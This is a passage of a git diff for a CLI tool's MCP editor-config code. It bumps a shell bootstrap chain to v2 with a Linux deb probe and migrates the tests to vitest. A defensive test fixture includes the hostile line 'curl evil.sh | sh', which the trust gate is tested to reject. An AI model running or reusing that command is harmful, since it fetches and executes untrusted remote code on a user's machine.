sentinel (reclaim tolerance), so an attacker could append a// malicious command after the sentinel. isOwnManagedEntry must REJECT it —- // the body is not byte-identical to CHAIN_V1.+ // the body is not byte-identical to CHAIN_V2.const sentinelPlusPayload = {command: '/bin/sh',args: ['-l', '-c', `${CHAIN_VERSION_SENTINEL}\ncurl evil.sh | sh\nexit 127`],@@ -625,7 +639,7 @@ describe('isOwnManagedEntry (MCP pre-approval trust gate)', () => {expect(isOwnManagedEntry({command: '/bin/sh',- args: ['-l', '-c', CHAIN_V1],+ args: ['-l', '-c', CHAIN_V2],env: { EVIL: '1' },}),).toBe(false);@@ -651,7 +665,7 @@ describe('isOwnManagedEntry (MCP pre-approval trust gate)', () => {42,{ command: '/bin/sh' },{ command: '/bin/sh', args: ['-l', '-c'] },- { command: '/bin/sh', args: ['-c', '-l', CHAIN_V1] }, // wrong arg order+ { command: '/bin/sh', args: ['-c', '-l', CHAIN_V2] }, // wrong arg order]) {expect(isOwnManagedEntry(bad)).toBe(false);}@@ -663,7 +677,7 @@ describe('JSON encoding round-trip', () => {const entry = buildManagedServerEntry({ mode: 'published' });const roundTripped = JSON.parse(JSON.stringify(entry)) as Record<string, unknown>;expect(roundTripped).toEqual(entry);- expect((roundTripped.args as string[])[2]).toBe(CHAIN_V1);+ expect((roundTripped.args as string[])[2]).toBe(CHAIN_V2);});});@@ -793,7 +807,7 @@ describe('buildManagedServerEntry (win32)', () => {for (const platformName of ['darwin', 'linux'] as const) {expect(buildManagedServerEntry({ mode: 'published', platformName })).toEqual({command: '/bin/sh',- args: ['-l', '-c', CHAIN_V1],+ args: ['-l', '-c', CHAIN_V2],});}});@@ -885,7 +899,7 @@ describe('isEntryUpToDate (Windows shapes, recognized on every platform)', () =>{ command: 'powershell', args: ['-NoProfile', '-NonInteractive', '-Command', 'echo hi'] }, // wrong body{ command: 'pwsh', args: ['-NoProfile', '-NonInteractive', '-Command', CHAIN_WIN_V1] }, // wrong shell// Cross-sentinel confusion: each shape requires ITS OWN sentinel.- { command: 'powershell', args: ['-NoProfile', '-NonInteractive', '-Command', CHAIN_V1] },+ { command: 'powershell', args: ['-NoProfile', '-NonInteractive', '-Command', CHAIN_V2] },{ command: '/bin/sh', args: ['-l', '-c', CHAIN_WIN_V1] },{ type: 'local', command: ['powershell', '-NoProfile', '-Command', CHAIN_WIN_V1] }, // missing flag{ type: 'local', command: ['powershell', '-NoProfile', '-NonInteractive', '-Command'] },@@ -940,7 +954,7 @@ describe('isOwnManagedEntry (Windows canonical in the closed set)', () => {isOwnManagedEntry({type: 'local',enabled: true,- command: ['/bin/sh', '-l', '-c', CHAIN_V1],+ command: ['/bin/sh', '-l', '-c', CHAIN_V2],}),).toBe(false);expect(@@ -957,7 +971,7 @@ describe('isOwnManagedEntry (Windows canonical in the closed set)', () => {expect(isOwnManagedEntry({command: '/bin/sh',- args: ['-l', '-c', CHAIN_V1],+ args: ['-l', '-c', CHAIN_V2],env: { HOST: '127.0.0.1' },}),).toBe(false);diff --git a/packages/cli/src/commands/editors.ts b/packages/cli/src/commands/editors.tsindex 23a379222..5d0d5b234 100644--- a/packages/cli/src/commands/editors.ts+++ b/packages/cli/src/commands/editors.ts@@ -31,22 +31,28 @@ const DEV_MCP_ENV = {} as const;/**- * Resilient chain (v1) — the Unix member of the two-shape canonical set+ * Resilient chain (v2) — the Unix member of the two-shape canonical set* (Windows sibling: `CHAIN_WIN_V1`). One byte-identical entry every* macOS/Linux developer's editor sees.*- * At MCP-host spawn time, `/bin/sh -l -c CHAIN_V1` resolves whichever runtime+ * At MCP-host spawn time, `/bin/sh -l -c CHAIN_V2` resolves whichever runtime* is locally available — bundle first, then `npx` on a login-shell PATH, then- * an explicit glob across the common version-manager directories. DMG-only- * users (no Node) hit the bundle branch; npm-installed CLI users hit `npx`;+ * an explicit glob across the common version-manager directories. Desktop-only+ * users (no Node) hit a bundle branch; npm-installed CLI users hit `npx`;* teammates with neither see the structured stderr and exit 127.*- * Two bundle probes — user-local first (`$HOME/Applications`), then the- * system path (`/Applications`). Matches `findBundledOkPath` in+ * Three bundle probes — macOS user-local first (`$HOME/Applications`), then+ * the macOS system path (`/Applications`), then the Linux deb layout+ * (`/opt/OpenKnowledge`). The mac ordering matches `findBundledOkPath` in* `packages/cli/src/mcp/bundle-proxy.ts`, which already treats the user-local* install as first-class for users on locked-down macs or non-admin macOS* accounts. Diverging here would silently drop the bundle branch for the- * exact DMG persona it exists to serve.+ * exact DMG persona it exists to serve. The deb probe (v2) keeps a deb-only+ * Linux user off the npx/registry path — without it their MCP entry either+ * runs a version-drifting `@latest` or, with no Node installed, dies with+ * "install OK Desktop" while OK Desktop is installed (VM-verified). AppImage+ * installs have no stable path and decline MCP wiring entirely, so no+ * AppImage probe exists.** Each branch is empirically load-bearing:* 1. `[ -f ] && [ -x ]` BEFORE every `exec`. `exec MISSING_FILE` in a@@ -78,25 +84,30 @@ const DEV_MCP_ENV = {* `EBADENGINE`. `-y` suppresses the install-confirm prompt under* non-TTY (MCP hosts are always non-TTY).*- * The first line `# ok-mcp-v1` is both a shell comment and the version- * sentinel checked by `isEntryUpToDate`. Bump the suffix (`v2`, `v3`, …)- * on any structurally-different chain so reclaim recognizes stale text.+ * The first line `# ok-mcp-v2` is both a shell comment and the version+ * sentinel checked by `isEntryUpToDate`. Bump the suffix (`v3`, `v4`, …)+ * on any structurally-different chain so reclaim recognizes stale text —+ * v1 → v2 added the deb probe, so v1 entries now classify stale and the+ * repair sweep upgrades them in place (inert on macOS: the deb path never+ * exists there).*- * `CHAIN_V1` / `CHAIN_VERSION_SENTINEL` are package-internal — exported+ * `CHAIN_V2` / `CHAIN_VERSION_SENTINEL` are package-internal — exported* from this module for per-package tests, but DELIBERATELY NOT re-exported* from `packages/cli/src/index.ts`. Cross-package consumers should use* `buildManagedServerEntry()` to construct chain-shape entries and* `isEntryUpToDate()` to classify them — bytes are an implementation detail.*//** @internal */-export const CHAIN_VERSION_SENTINEL = '# ok-mcp-v1';+export const CHAIN_VERSION_SENTINEL = '# ok-mcp-v2';/** @internal */-export const CHAIN_V1 = `# ok-mcp-v1+export const CHAIN_V2 = `# ok-mcp-v2USER_BUNDLE="$HOME/Applications/OpenKnowledge.app/Contents/Resources/cli/bin/ok.sh"[ -f "$USER_BUNDLE" ] && [ -x "$USER_BUNDLE" ] && exec "$USER_BUNDLE" mcpBUNDLE="/Applications/OpenKnowledge.app/Contents/Resources/cli/bin/ok.sh"[ -f "$BUNDLE" ] && [ -x "$BUNDLE" ] && exec "$BUNDLE" mcp+DEB_BUNDLE="/opt/OpenKnowledge/resources/cli/bin/ok.sh"+[ -f "$DEB_BUNDLE" ] && [ -x "$DEB_BUNDLE" ] && exec "$DEB_BUNDLE" mcpcommand -v npx >/dev/null 2>&1 && exec npx -y @inkeep/open-knowledge@latest mcpfor d in "$HOME/.nvm/versions/node"/*/bin "$HOME/.fnm/node-versions"/*/installation/bin "$HOME/.asdf/installs/nodejs"/*/bin /opt/homebrew/bin /usr/local/bin "$HOME/.local/bin" "$HOME/.volta/bin"; do[ -f "$d/npx" ] && [ -x "$d/npx" ] && exec "$d/npx" -y @inkeep/open-knowledge@latest mcp@@ -177,12 +188,12 @@ const OK_MCP_CHAIN_MARKER = '# ok-mcp';* default, nvm-windows via `NVM_SYMLINK`, fnm, Volta, Scoop, pnpm).** `@latest` on the npx package spec is load-bearing for the same- * engine-filter reason documented on `CHAIN_V1`.+ * engine-filter reason documented on `CHAIN_V2`.** The first line `# ok-mcp-win-v1` is both a PowerShell comment and the* version sentinel checked by `isEntryUpToDate`. Bump the suffix (`win-v2`,* …) on any structurally-different chain. Same `@internal` export rules as- * `CHAIN_V1`.+ * `CHAIN_V2`.*//** @internal */export const CHAIN_WIN_V1 = `# ok-mcp-win-v1@@ -243,7 +254,7 @@ export const PI_MANAGED_FILE_ENTRY_COMMAND = 'ok-pi-managed-extension';* MCP install modes for `ok init`-written editor configs.** - `'published'` (default) — the local platform's resilient chain shape:- * `{command: '/bin/sh', args: ['-l', '-c', CHAIN_V1]}` on macOS/Linux,+ * `{command: '/bin/sh', args: ['-l', '-c', CHAIN_V2]}` on macOS/Linux,* `{command: 'powershell', args: ['-NoProfile', '-NonInteractive',* '-Command', CHAIN_WIN_V1]}` on Windows.* Resolves an installed runtime at spawn time. Byte-identical across all@@ -302,7 +313,7 @@ export function isEntryUpToDate(entry: unknown): boolean {const e = entry as Record<string, unknown>;// Unix chain shape (claude / claude-desktop / cursor / codex):- // `{ command: '/bin/sh', args: ['-l', '-c', CHAIN_V1] }`.+ // `{ command: '/bin/sh', args: ['-l', '-c', CHAIN_V2] }`.if (e.command === '/bin/sh') {if (!Array.isArray(e.args)) return false;if (e.args[0] !== '-l' || e.args[1] !== '-c') return false;@@ -412,7 +423,7 @@ export function buildManagedServerEntry(options: McpInstallOptions = {}): Record}return {command: '/bin/sh',- args: ['-l', '-c', CHAIN_V1],+ args: ['-l', '-c', CHAIN_V2],};}@@ -420,7 +431,7 @@ export function buildManagedServerEntry(options: McpInstallOptions = {}): Record* OpenCode's `opencode.json` uses a distinct entry shape from the chain-shape* editors: the server lives under the top-level `mcp` key, and each entry is a* typed object — `{ type: 'local', enabled, command }` — where `command` is a- * SINGLE argv array, not a split `command` + `args`. We reuse the same `CHAIN_V1`+ * SINGLE argv array, not a split `command` + `args`. We reuse the same `CHAIN_V2`* bootstrap (and the same dev-mode resolution) so the resolved server is* byte-identical to what `.mcp.json` / `.cursor/mcp.json` / `.codex/config.toml`* embed — only the JSON envelope differs. OpenCode names the env map@@ -454,7 +465,7 @@ function buildOpenCodeEntry(options: McpInstallOptions = {}): Record<string, unkreturn {type: 'local',enabled: true,- command: ['/bin/sh', '-l', '-c', CHAIN_V1],+ command: ['/bin/sh', '-l', '-c', CHAIN_V2],};}@@ -463,7 +474,7 @@ function buildOpenCodeEntry(options: McpInstallOptions = {}): Record<string, unk** True iff `entry` is structurally IDENTICAL to one of OK's own canonical* PUBLISHED managed entries — the closed two-element set of the Unix shape- * (`{command:'/bin/sh', args:['-l', '-c', CHAIN_V1]}`) and the Windows shape+ * (`{command:'/bin/sh', args:['-l', '-c', CHAIN_V2]}`) and the Windows shape* (`{command:'powershell', args:[…, CHAIN_WIN_V1]}`) — with NO extra keys* (an injected `env` on either shape, a different `command`, an appended* chain line). Unlike {@link isEntryUpToDate} — deliberately permissive (sentineldiff --git a/packages/cli/src/commands/init.test.ts b/packages/cli/src/commands/init.test.tsindex e52dbb01a..be46d08a1 100644--- a/packages/cli/src/commands/init.test.ts+++ b/packages/cli/src/commands/init.test.ts@@ -1,4 +1,3 @@-import { afterEach, beforeEach, describe, expect, it } from 'bun:test';import { execFileSync } from 'node:child_process';import {existsSync,@@ -14,6 +13,7 @@ import {import { tmpdir } from 'node:os';import { dirname, join, resolve } from 'node:path';import { readBundleDecision } from '@inkeep/open-knowledge-server';+import { afterEach, beforeEach, describe, expect, it } from 'vitest';import { parse as parseYaml } from 'yaml';import { loadConfig } from '../config/loader.ts';import { OK_DIR } from '../constants.ts';@@ -21,7 +21,7 @@ import { previewContent } from '../content/preview.ts';import { buildPiExtensionSource } from '../integrations/pi-extension.ts';import {ALL_EDITOR_IDS,- CHAIN_V1,+ CHAIN_V2,EDITOR_TARGETS,resolveClaudeCodeConfigPath,resolveClaudeDesktopConfigPath,@@ -31,7 +31,7 @@ import {resolveOpenCodeConfigPath,} from './editors.ts';-const PUBLISHED_CHAIN_ENTRY = { command: '/bin/sh', args: ['-l', '-c', CHAIN_V1] } as const;+const PUBLISHED_CHAIN_ENTRY = { command: '/bin/sh', args: ['-l', '-c', CHAIN_V2] } as const;import {createTomlConfigEngine,@@ -440,11 +440,11 @@ describe('runInit', () => {describe('OpenCode', () => {// OpenCode keys MCP servers under `mcp` (not `mcpServers`) and wraps each// server in a `{ type: 'local', enabled, command }` object whose `command`- // is a single argv array — the same CHAIN_V1 bootstrap, different envelope.+ // is a single argv array — the same CHAIN_V2 bootstrap, different envelope.const PUBLISHED_OPENCODE_ENTRY = {type: 'local',enabled: true,- command: ['/bin/sh', '-l', '-c', CHAIN_V1],+ command: ['/bin/sh', '-l', '-c', CHAIN_V2],} as const;it('writes ~/.config/opencode/opencode.json under the mcp key', async () => {diff --git a/packages/cli/src/commands/mcp-chain-validation.test.ts b/packages/cli/src/commands/mcp-chain-validation.test.tsindex 43273337b..4be59d41f 100644--- a/packages/cli/src/commands/mcp-chain-validation.test.ts+++ b/packages/cli/src/commands/mcp-chain-validation.test.ts@@ -1,5 +1,5 @@/**- * Empirical validation of the resilient chain (`CHAIN_V1`). Spawns the chain+ * Empirical validation of the resilient chain (`CHAIN_V2`). Spawns the chain* via `/bin/sh -l -c` with controlled HOME / PATH / bundle-path fixtures and* asserts the documented branches fire (and only those branches fire).*@@ -17,7 +17,7 @@** Test suite is split in two:*- * 1. **Grammar tests** (`CHAIN_V1 POSIX shell grammar`). Run on every+ * 1. **Grammar tests** (`CHAIN_V2 POSIX shell grammar`). Run on every* platform. POSIX sh semantics that are platform-independent: `[ -f ]`* directory filter, `[ -x ]` non-executable filter, unmatched-glob* handling, `exec`-replaces-shell exit propagation. These exercise the@@ -25,19 +25,19 @@* runner ships — `dash` on Linux CI, BSD `sh` on macOS — and catch a* grammar regression that text-level assertions would miss.*- * 2. **Persona tests** (`CHAIN_V1 macOS persona behavior`). Darwin only.+ * 2. **Persona tests** (`CHAIN_V2 macOS persona behavior`). Darwin only.* Depend on macOS `/etc/profile` → `path_helper` populating PATH with* `/usr/local/bin` + `/opt/homebrew/bin` so a brew-installed Node* surfaces on a login-shell PATH. Linux's `/etc/profile` doesn't run* `path_helper`; the personas don't have Linux equivalents.*/-import { describe, expect, it } from 'bun:test';import { spawnSync } from 'node:child_process';import { chmodSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';import { tmpdir } from 'node:os';import { join } from 'node:path';-import { CHAIN_V1 } from './editors.ts';+import { describe, expect, it } from 'vitest';+import { CHAIN_V2 } from './editors.ts';const SKIP_PERSONA = process.platform !== 'darwin';@@ -102,7 +102,7 @@ function replaceOrThrow(input: string, search: string | RegExp, replacement: strfunction instrumentChain(opts: InstrumentOpts = {}): string {let chain = replaceOrThrow(- CHAIN_V1,+ CHAIN_V2,'exec "$USER_BUNDLE" mcp','echo "HIT:user-bundle:$USER_BUNDLE" && exit 0',);@@ -167,7 +167,7 @@ interface RunOpts {home: string;/** Override PATH. Pass `null` to inherit. */path: string | null;- /** Inject a custom chain — defaults to instrumented `CHAIN_V1`. */+ /** Inject a custom chain — defaults to instrumented `CHAIN_V2`. */chainOverride?: string;}@@ -191,7 +191,7 @@ function setupTmp(label: string): string {return mkdtempSync(join(tmpdir(), `mcp-chain-${label}-`));}-describe('CHAIN_V1 POSIX shell grammar (cross-platform)', () => {+describe('CHAIN_V2 POSIX shell grammar (cross-platform)', () => {// Grammar-only tests — assert POSIX sh semantics that hold under both// BSD sh (macOS) and dash (Linux). Run unconditionally so CI catches// shell-grammar regressions on every push, not only when a dev runs@@ -297,7 +297,7 @@ describe('CHAIN_V1 POSIX shell grammar (cross-platform)', () => {// Desktop installed under ~/Applications the user-local branch// would shadow this test.let chain = replaceOrThrow(- CHAIN_V1,+ CHAIN_V2,'USER_BUNDLE="$HOME/Applications/OpenKnowledge.app/Contents/Resources/cli/bin/ok.sh"',`USER_BUNDLE="${join(tmpHome, 'no-such-user-bundle.sh')}"`,);@@ -321,7 +321,7 @@ describe('CHAIN_V1 POSIX shell grammar (cross-platform)', () => {});});-describe.skipIf(SKIP_PERSONA)('CHAIN_V1 macOS persona behavior (darwin only)', () => {+describe.skipIf(SKIP_PERSONA)('CHAIN_V2 macOS persona behavior (darwin only)', () => {// Persona tests — depend on macOS `/etc/profile` → `path_helper`// populating PATH with `/usr/local/bin` + `/opt/homebrew/bin` on a// login shell, AND on a filesystem-fixture-seeded glob path beingdiff --git a/packages/cli/src/commands/mcp-config-removal.ts b/packages/cli/src/commands/mcp-config-removal.tsindex be3be8737..a59d3b2d2 100644--- a/packages/cli/src/commands/mcp-config-removal.ts+++ b/packages/cli/src/commands/mcp-config-removal.ts@@ -61,7 +61,7 @@ export type McpRemoveOutcome =* BOTH the chain shape (`{command:'/bin/sh', args:['-l','-c', <chain>]}` used by* claude / claude-desktop / cursor / codex) AND the OpenCode shape* (`{type:'local', enabled, command:['/bin/sh', …]}`), keyed on the- * `# ok-mcp-v1` version sentinel embedded in the resolver chain. A foreign+ * `# ok-mcp-v2` version sentinel embedded in the resolver chain. A foreign* server that merely shares the `open-knowledge` key lacks that sentinel and is* NOT matched, so it is preserved.*diff --git a/packages/cli/src/commands/mcp-cross-harness-acceptance.test.ts b/packages/cli/src/commands/mcp-cross-harness-acceptance.test.tsindex f9f95c23f..ba60a6145 100644--- a/packages/cli/src/commands/mcp-cross-harness-acceptance.test.ts+++ b/packages/cli/src/commands/mcp-cross-harness-acceptance.test.ts@@ -1,4 +1,3 @@-import { afterEach, beforeEach, describe, expect, it } from 'bun:test';import {mkdirSync,mkdtempSync,@@ -11,12 +10,13 @@ import {import { tmpdir } from 'node:os';import { dirname, join } from 'node:path';import { parse as parseJsonc } from 'jsonc-parser';+import { afterEach, beforeEach, describe, expect, it } from 'vitest';import { buildPiExtensionSource } from '../integrations/pi-extension.ts';import {createTomlConfigEngine,setTomlConfigEngineForTesting,} from '../native/toml-config-engine.ts';-import { CHAIN_V1, EDITOR_TARGETS, type EditorId, type EditorMcpTarget } from './editors.ts';+import { CHAIN_V2, EDITOR_TARGETS, type EditorId, type EditorMcpTarget } from './editors.ts';import { writeEditorMcpConfig } from './init.ts';// Cross-harness acceptance consolidation for the only-additive write guarantee.@@ -31,11 +31,11 @@ import { writeEditorMcpConfig } from './init.ts';// editor must NOT exhibit (a text splice provably corrupts an inline-table// config into a duplicate-key file and deletes siblings on dotted-key forms).-const PUBLISHED_CHAIN_ENTRY = { command: '/bin/sh', args: ['-l', '-c', CHAIN_V1] };+const PUBLISHED_CHAIN_ENTRY = { command: '/bin/sh', args: ['-l', '-c', CHAIN_V2] };const OPENCODE_ENTRY = {type: 'local',enabled: true,- command: ['/bin/sh', '-l', '-c', CHAIN_V1],+ command: ['/bin/sh', '-l', '-c', CHAIN_V2],};function targetForFile(id: EditorId, configPath: string): EditorMcpTarget {diff --git a/packages/cli/src/commands/mcp-json-surgical-write.test.ts b/packages/cli/src/commands/mcp-json-surgical-write.test.tsindex fe0f7f540..d8a20e460 100644--- a/packages/cli/src/commands/mcp-json-surgical-write.test.ts+++ b/packages/cli/src/commands/mcp-json-surgical-write.test.ts@@ -1,4 +1,3 @@-import { afterEach, describe, expect, it } from 'bun:test';import {chmodSync,existsSync,@@ -11,7 +10,8 @@ import {import { tmpdir } from 'node:os';import { dirname, join } from 'node:path';import { parse as parseJsonc } from 'jsonc-parser';-import { CHAIN_V1, EDITOR_TARGETS, type EditorId, type EditorMcpTarget } from './editors.ts';+import { afterEach, describe, expect, it } from 'vitest';+import { CHAIN_V2, EDITOR_TARGETS, type EditorId, type EditorMcpTarget } from './editors.ts';import { readExistingMcpEntry, writeEditorMcpConfig } from './init.ts';// Redirect a real editor target at a temp file so the surgical write path runs@@ -34,11 +34,11 @@ function write(id: EditorId, configPath: string) {});}-const PUBLISHED_CHAIN_ENTRY = { command: '/bin/sh', args: ['-l', '-c', CHAIN_V1] };+const PUBLISHED_CHAIN_ENTRY = { command: '/bin/sh', args: ['-l', '-c', CHAIN_V2] };const OPENCODE_ENTRY = {type: 'local',enabled: true,- command: ['/bin/sh', '-l', '-c', CHAIN_V1],+ command: ['/bin/sh', '-l', '-c', CHAIN_V2],};function parseConfig(raw: string): Record<string, unknown> {diff --git a/packages/cli/src/commands/mcp-migrate-event.ts b/packages/cli/src/commands/mcp-migrate-event.tsindex dce6d3cfc..407a1c8a7 100644--- a/packages/cli/src/commands/mcp-migrate-event.ts+++ b/packages/cli/src/commands/mcp-migrate-event.ts@@ -19,7 +19,7 @@* - `configPath` — absolute path of the config file being rewritten.* - `priorCommand` — truncated to 200 chars or `null` if absent.* - `priorArgs` — first 10 entries, each string truncated to 200- * chars (CHAIN_V1's `args[2]` shell body is ~700+ * chars (CHAIN_V2's `args[2]` shell body is ~700* chars; without truncation the event payload* blows up Tempo/Prometheus label storage and* every aggregation downstream).@@ -67,7 +67,7 @@ export function buildMcpConfigMigrateEvent(input: McpConfigMigrateInput): McpCon/*** Bound the payload of `priorCommand` / `priorArgs` before structured-event- * sinks index them. `CHAIN_V1`'s `args[2]` is a ~700-char shell script;+ * sinks index them. `CHAIN_V2`'s `args[2]` is a ~700-char shell script;* unbounded inclusion in a high-volume metric label explodes downstream* storage.*diff --git a/packages/cli/src/commands/mcp-toml-surgical-write.test.ts b/packages/cli/src/commands/mcp-toml-surgical-write.test.tsindex e211f1a0d..f6b290b0f 100644--- a/packages/cli/src/commands/mcp-toml-surgical-write.test.ts+++ b/packages/cli/src/commands/mcp-toml-surgical-write.test.ts@@ -1,4 +1,3 @@-import { afterEach, beforeEach, describe, expect, it } from 'bun:test';import {chmodSync,existsSync,@@ -10,11 +9,12 @@ import {} from 'node:fs';import { tmpdir } from 'node:os';import { join } from 'node:path';+import { afterEach, beforeEach, describe, expect, it } from 'vitest';import {createTomlConfigEngine,setTomlConfigEngineForTesting,} from '../native/toml-config-engine.ts';-import { CHAIN_V1, EDITOR_TARGETS, type EditorMcpTarget } from './editors.ts';+import { CHAIN_V2, EDITOR_TARGETS, type EditorMcpTarget } from './editors.ts';import { writeEditorMcpConfig } from './init.ts';// Drive the real write spine (native toml_edit addon) against a temp Codex@@ -33,7 +33,7 @@ function writeCodex(configPath: string) {});}-const PUBLISHED_CHAIN_ENTRY = { command: '/bin/sh', args: ['-l', '-c', CHAIN_V1] };+const PUBLISHED_CHAIN_ENTRY = { command: '/bin/sh', args: ['-l', '-c', CHAIN_V2] };// Independent CAPABLE parse for data-equality. Bun.TOML.parse is itself weak —// it rejects microsecond datetimes and is lossy on 64-bit integers, the very@@ -179,7 +179,7 @@ describe('surgical TOML MCP write', () => {expect(parsed.mcp_servers.other).toEqual({ command: 'node' });expect(parsed.mcp_servers['open-knowledge']).toEqual(PUBLISHED_CHAIN_ENTRY);const body = parsed.mcp_servers['open-knowledge'].args[2] as string;- expect(body).toBe(CHAIN_V1);+ expect(body).toBe(CHAIN_V2);expect(body).not.toContain('\r');});@@ -272,7 +272,7 @@ describe('surgical TOML MCP write', () => {expect(after).not.toContain('STALE');const parsed = parseToml(after);expect(parsed.mcp_servers.other).toEqual({ command: 'other-cmd' });- expect(parsed.mcp_servers['open-knowledge'].args).toEqual(['-l', '-c', CHAIN_V1]);+ expect(parsed.mcp_servers['open-knowledge'].args).toEqual(['-l', '-c', CHAIN_V2]);});it('is a byte-identical no-op on an unchanged config (idempotent)', () => {diff --git a/packages/cli/src/commands/mcp-yaml-surgical-write.test.ts b/packages/cli/src/commands/mcp-yaml-surgical-write.test.tsindex 251d9b65e..34fb4f698 100644--- a/packages/cli/src/commands/mcp-yaml-surgical-write.test.ts+++ b/packages/cli/src/commands/mcp-yaml-surgical-write.test.ts@@ -1,9 +1,9 @@-import { afterEach, describe, expect, it } from 'bun:test';import { chmodSync, mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs';import { tmpdir } from 'node:os';import { dirname, join } from 'node:path';+import { afterEach, describe, expect, it } from 'vitest';import { parse as parseYaml } from 'yaml';-import { CHAIN_V1, EDITOR_TARGETS, type EditorMcpTarget } from './editors.ts';+import { CHAIN_V2, EDITOR_TARGETS, type EditorMcpTarget } from './editors.ts';import { writeEditorMcpConfig } from './init.ts';import { removeOwnMcpEntry } from './mcp-config-removal.ts';@@ -40,7 +40,7 @@ function writeHermes(configPath: string) {});}-const PUBLISHED_CHAIN_ENTRY = { command: '/bin/sh', args: ['-l', '-c', CHAIN_V1] };+const PUBLISHED_CHAIN_ENTRY = { command: '/bin/sh', args: ['-l', '-c', CHAIN_V2] };describe('surgical YAML MCP write', () => {afterEach(() => {diff --git a/packages/cli/src/commands/repair-skills.ts b/packages/cli/src/commands/repair-skills.tsindex bcdf54b36..62168d611 100644--- a/packages/cli/src/commands/repair-skills.ts+++ b/packages/cli/src/commands/repair-skills.ts@@ -46,13 +46,7 @@ import {import { Command } from 'commander';import { removeUserGlobalSkillBundle } from '../integrations/skill-teardown.ts';import { assertProjectPathSafe } from '../integrations/write-project-skill.ts';-import {- CHAIN_VERSION_SENTINEL,- CHAIN_WIN_VERSION_SENTINEL,- EDITOR_TARGETS,- type EditorId,- HOSTS_WITH_USER_SKILL_DIR,-} from './editors.ts';+import { EDITOR_TARGETS, type EditorId, HOSTS_WITH_USER_SKILL_DIR } from './editors.ts';// `HOSTS_WITH_USER_SKILL_DIR` is the canonical core constant (derived from// PROJECT_SKILL_EDITOR_IDS + EDITOR_PROJECT_SKILL_ROOT), shared with the desktop@@ -362,22 +356,27 @@ function installUserBundleToHostDirs(}/**- * True iff `configPath` exists and its bytes contain either platform's chain- * sentinel (`# ok-mcp-v1` / `# ok-mcp-win-v1`) — proof the editor is wired- * for this OK project. The sentinel is the first line of every managed MCP+ * True iff `configPath` exists and its bytes contain the version-independent+ * chain-sentinel family prefix (`# ok-mcp-`) — proof the editor is wired for+ * this OK project. The sentinel is the first line of every managed MCP* entry's resilient-chain body and is substring-present in both the JSON and- * TOML on-disk forms, so a plain `includes` check is format-agnostic. Both- * sentinels are accepted on every platform — a shared project config written- * on the other OS still proves the editor is wired. A read error (torn /- * unreadable config) classifies as "not wired" rather than throwing, so one- * bad config never blocks the other hosts.+ * TOML on-disk forms, so a plain `includes` check is format-agnostic. The+ * prefix covers both platforms' sentinels and every version: "wired at all"+ * must survive a sentinel bump (a project wired under `# ok-mcp-v1` is still+ * wired after the chain moves to `v2` — the entry upgrades lazily via the+ * repair sweep). Same shape as `OK_MCP_MARKER_PREFIX` in the desktop's+ * `worktree-setup-inherit.ts`. A read error (torn / unreadable config)+ * classifies as "not wired" rather than throwing, so one bad config never+ * blocks the other hosts.*/+const OK_MCP_MARKER_PREFIX = '# ok-mcp-';+function editorWiredForOk(configPath: string | undefined, fs: RepairSkillsFsOps): boolean {if (!configPath) return false;try {if (!fs.existsSync(configPath)) return false;const bytes = fs.readFileSync(configPath).toString('utf8');- return bytes.includes(CHAIN_VERSION_SENTINEL) || bytes.includes(CHAIN_WIN_VERSION_SENTINEL);+ return bytes.includes(OK_MCP_MARKER_PREFIX);} catch {return false;}diff --git a/packages/cli/src/commands/share/publish.test.ts b/packages/cli/src/commands/share/publish.test.tsindex e0cd4ee7d..cc0dd19c0 100644--- a/packages/cli/src/commands/share/publish.test.ts+++ b/packages/cli/src/commands/share/publish.test.ts@@ -10,13 +10,13 @@* with no network calls.*/-import { afterEach, beforeEach, describe, expect, test } from 'bun:test';import { execSync } from 'node:child_process';import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';import { tmpdir } from 'node:os';import { join } from 'node:path';import type { Octokit } from '@octokit/rest';import simpleGit from 'simple-git';+import { afterEach, beforeEach, describe, expect, test } from 'vitest';import { classifyOctokitError, runPublishFlow } from './publish.ts';// ─── Octokit fake factory ─────────────────────────────────────────────────────@@ -249,12 +249,10 @@ describe('runPublishFlow (error branches)', () => {// to addRemote + commit + push instead of returning name-conflict.const bareRepo = mkdtempSync(join(tmpdir(), 'ok-share-publish-retry-bare-'));execSync('git init --bare', { cwd: bareRepo, stdio: 'ignore' });- // Pre-init the project repo + set local gitconfig identity. simple-git's- // `.env({GIT_TERMINAL_PROMPT: '0'})` REPLACES the subprocess env (does- // not merge) so process.env-based GIT_AUTHOR_* don't propagate. Repo-- // local config is the only reliable cross-environment identity source —- // dev machines have global config; CI runners don't, and the env-var- // pattern silently drops with simple-git's replace semantics.+ // Pre-init the project repo + set local gitconfig identity so this test+ // is deterministic regardless of the host's global config. (The child+ // env now merges process.env via `buildCloneEnv`, so env-based identity+ // also works — the dedicated env-identity regression test covers that.)execSync('git init', { cwd: tmpDir, stdio: 'ignore' });execSync('git config user.name Test', { cwd: tmpDir });execSync('git config user.email [email protected]', { cwd: tmpDir });@@ -341,15 +339,12 @@ describe('runPublishFlow (e2e against bare repo)', () => {// Seed the project with a single markdown file so the initial commit// has real content (matches the real Publish flow's expectations).writeFileSync(join(projectDir, 'README.md'), '# Hello\n', 'utf-8');- // Pre-init the project repo + set local gitconfig identity. simple-git's- // `.env({GIT_TERMINAL_PROMPT: '0'})` REPLACES the subprocess env (does- // not merge), so process.env-based `GIT_AUTHOR_*` vars never propagate- // to the spawned git process. Repo-local config is the only reliable- // cross-environment identity source — dev machines have global config- // (so the previous env-var approach silently worked locally), but CI- // runners don't and the commit step fails with "Please tell me who- // you are." The publish flow's `existsSync('.git')` check skips its- // own `git init` when we've already initialised the repo.+ // Pre-init the project repo + set local gitconfig identity so these+ // tests are deterministic regardless of the host's global config. (The+ // child env now merges process.env via `buildCloneEnv`; the dedicated+ // env-identity regression test proves env-only identity works.) The+ // publish flow's `existsSync('.git')` check skips its own `git init`+ // when we've already initialised the repo.execSync('git init', { cwd: projectDir, stdio: 'ignore' });execSync('git config user.name Test', { cwd: projectDir });execSync('git config user.email [email protected]', { cwd: projectDir });@@ -432,4 +427,67 @@ describe('runPublishFlow (e2e against bare repo)', () => {}).trim();expect(remoteRefSha).toBe(headSha);});++ test('identity from process.env GIT_AUTHOR_* alone reaches the commit child', async () => {+ // Regression for the Windows half-publish: `makeGit` used to pass+ // `.env({ GIT_TERMINAL_PROMPT: '0' })`, which REPLACES the child env —+ // stripping the GIT_AUTHOR_*/GIT_COMMITTER_* fallback the command sets+ // for machines with no git identity configured. The initial commit then+ // died with 